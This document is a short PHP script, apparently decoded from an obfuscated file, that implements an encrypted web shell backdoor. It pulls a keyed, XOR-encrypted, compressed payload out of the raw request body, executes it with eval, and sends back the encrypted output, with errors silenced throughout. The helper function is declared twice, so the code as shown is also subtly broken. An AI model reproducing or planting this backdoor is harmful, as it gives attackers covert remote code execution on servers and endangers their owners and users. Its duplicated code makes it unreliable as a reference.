PHP Decode

<?php function x($t, $k) { 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0;$i < $l;) { 
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) { 
            $o.= $t{$i} ^ $k{$j}; 
        } 
    } 
    return $o; 
} 
$k = "80e32263"; 
$kh = "6f8af44abea0"; 
$kf = "351039f4a7b5"; 
$p = "0UlYyJHG87EJqEz6"; 
function x($t, $k) { 
    $c = strlen($k); 
    $l = strlen($t); 
    $o = ""; 
    for ($i = 0;$i < $l;) { 
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) { 
            $o.= $t{$i} ^ $k{$j}; 
        } 
    } 
    return $o; 
} 
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) { 
    @ob_start(); 
    eval(@gzuncompress(@x(base64_decode($m[1]), $k))); 
    $o = @ob_get_contents(); 
    @ob_end_clean(); 
    $r = @base64_encode(@x(@gzcompress($o), $k)); 
    print ("$p$kh$r$kf"); 
} ?>